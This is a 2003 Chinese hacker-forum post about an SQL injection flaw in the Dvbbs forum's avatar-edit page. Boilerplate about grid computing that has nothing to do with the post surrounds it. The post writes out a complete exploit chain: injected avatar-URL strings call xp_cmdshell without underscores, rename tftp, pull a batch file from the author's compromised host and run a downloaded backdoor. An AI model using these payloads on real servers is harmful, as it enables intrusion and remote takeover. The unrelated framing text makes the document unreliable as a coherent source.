网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
论坛登陆名: N.E.V.E.R
提交者邮件地址: n.e.v.e.r@tom.com
提交者QQ号码: 1143431
标题: 动网的洞——again!
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
内容:
捏脸的超人@2003.6.8
我不是布勃卡,如果我能一次把世界记录提高十几厘米,我绝对不会分十几次去做,但是文件只有一个一个地看,洞只有一个一个地找,所以,呵呵……
昨天答辩完后心情很好,美美的睡了一觉后起来准备上网,可是开机后不到两分钟机器就挂了。Faint!这破笔记本去年夏天也是这样,室温超过30度就TMD的罢工,南京这几天够呛,本来我还指望它撑到放假的。我也懒得急了,收拾收拾东西到学校去上机。
在学校上网先玩了会儿CS,被人打得郁闷,干脆扯乎。safechina这些常去的地方又没有更新,chinaren校友录上又是乱七八糟的,还不如看看动网的论坛。
看啊看啊,看到了MYMODIFY.ASP,按照一向的习惯,先找生成
SQL语句的地方,因为SQL Injection总是发生在这种地方。嗯,看看这里:
conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)
userid我就不看了,看看newfilename有没有过滤。向上查找newfilename,嗯,看到了:
newfilename="uploadFace/"&memberid&"_"&upfilename(1)
memberid我也不看了,找upfilename,还是在很近的地方,是这样的:
upfilename=split(upface,"/")
再找upface,也是在不远的上面:
set rs=conn.execute("select userid,face from [user] where userid="&userid)
upface=trim(rs(1))
不用看下去了,都没有过滤,应该是个洞。动网的大虾们对不感兴趣的东东是不会浪费时间去过滤的,比如要入库的face,现在需要的只是利用的方法。
最容易想到的是先弄一个畸形的face存到数据库里面,然后让这一段程序去读出face来生成我们希望的SQL语句。在这之前,好好的看一下conn.execute之前的代码。
哦,前面的if语句很多啊,要一个一个的顺利通过的话,需要的条件很严格……首先要upface里面只含有一个"/",其次必须要以"uploadFace/"开头,还不能含有"_",嗯,不好办啊……我赶快用脚趾头想了几秒钟,有两条路可以走吧。一、update来改管理员表,获得一个管理员的权限,上传文件,最近是有一个什么include的溢出是吧,不知道能不能用;二、调用存储过程,不过要看对方的配置怎样了。
如果是漏洞文章,写到这里就要打住,嗯,我觉得动手能力是很重要的,所以还是找了个地方测试一下,善意的,当然。
先来想想怎样可以满足那些条件,我先找了台机器测试我的想法,不就是不要包含"_"嘛。打开SQL的查询分析器,先来这个
declare @a sysname
set @a='master..xp'+char(95)+'cmdshell'
exec @a 'echo t>a.bat'--
嗯,好的,没有下划线。C:\winnt\system32下面多了一个a.bat文件,呵呵。赶快找到有漏洞的那一页(登陆->修改个人信息),先随便上传一个文件,然后在自定义头像地址中填入我们的“恶意”语句。
这里打住一下啊,自定义头像地址是有长度限制的,我不知道是不是就是face列的最大长度(估计是的),为了避免提交的语句被截断,我没有敢提交超过长度的字符串。嗯,看来要节省一点使用了,我先看了看最长能有多少。
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'0123456789123456'--
命令行最多16个字节,好像够了吧?我觉得够了,用echo写一个批处理文件应该可以的……我先看看。
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'echo a>>a'--
提交后我在c:\winnt\system32\下看,靠,没有文件a?
这下子头大了。这台机器上调用存储过程绝对没有问题,怎么回事情?我赶快再看源代码,啊~~~~嗯~~~~哦……(前面两个字耗时30分钟)
原来还有一个地方的条件是Err.Number = 0,开始的时候忽视了。前面程序会检查我们提交的文件是否存在(呵呵,幸好只是看看而已),我明白为什么不执行到conn.execute了,提交的内容中还有非法的字符——">",这个是不能作为文件名存在的,提交上面的内容结果是Err.Number<0,也就是说要想利用这个漏洞的话,提交的内容中还不能有非法的文件字符,例如"?","/","*"等等。
还是好办,虽然不能直接添加用户,不能重定向输出流,但用tftp上传文件还是刚刚好(简直就是量身定做)!呵呵,看看下面一系列的命令行啊:
0--------1------
1234567890123456
ren tftp.exe a
ren a a.exe
a xxxx.com get p [xxxx.com是我的肉鸡,哇哈哈哈!]
ren p r.bat [不带参数的tftp传递了一个bat文件,内容嘛,呵呵]
r.bat [到肉鸡以-i的方式下载了一个配置好的rc.exe,后门]
rc
到此结束!呵呵,已经可以做任何想要的事情了,不是吗?
最后总结一下。要利用这个漏洞,首先要有一个注册用户,还要对方是用的MSSQL版(如果是ACCESS版,虽然理论上来说可以构造畸形条件来猜测对方的表的结构和数据,但是实在是太麻烦了……)。提交的数据(可能)有长度限制,如果调用xp_cmdshell的话,要执行的命令行(可能)最多允许16个字节。整个提交的数据中不能出现,"_","/","\","*","?",">","<","│"等。
动网论坛中类似的漏洞有多少,我不知道,我也在努力的看,虽然速度有点慢,呵呵。
附上我测试的时候使用的数据:
注册 → 登陆 → 控制面板 → 修改基本资料 → 自定义头像地址:
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren tftp.exe a'--
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren a a.exe'--
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'a xxxx.com get p'--
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren p r.bat'--
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'r.bat'--
uploadFace/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'rc'--
嗯,不包含"_"的情况下,declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'...'--这是不是最小长度的写法,我不太清楚,我试的好几种方法中这个是最短的……也许大虾们有更好的写法,望不吝赐教!
后记:这也是一类漏洞……靠!动网的洞太多了。有个简单的利用方法,先获得管理员权限后再到recycle.asp中去注入,那里面也有洞!呵呵,我也不是跟动网过不去,只是朋友的论坛用的也是这个,帮他补的时候,也就顺便把这些东西贴出来吧!
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。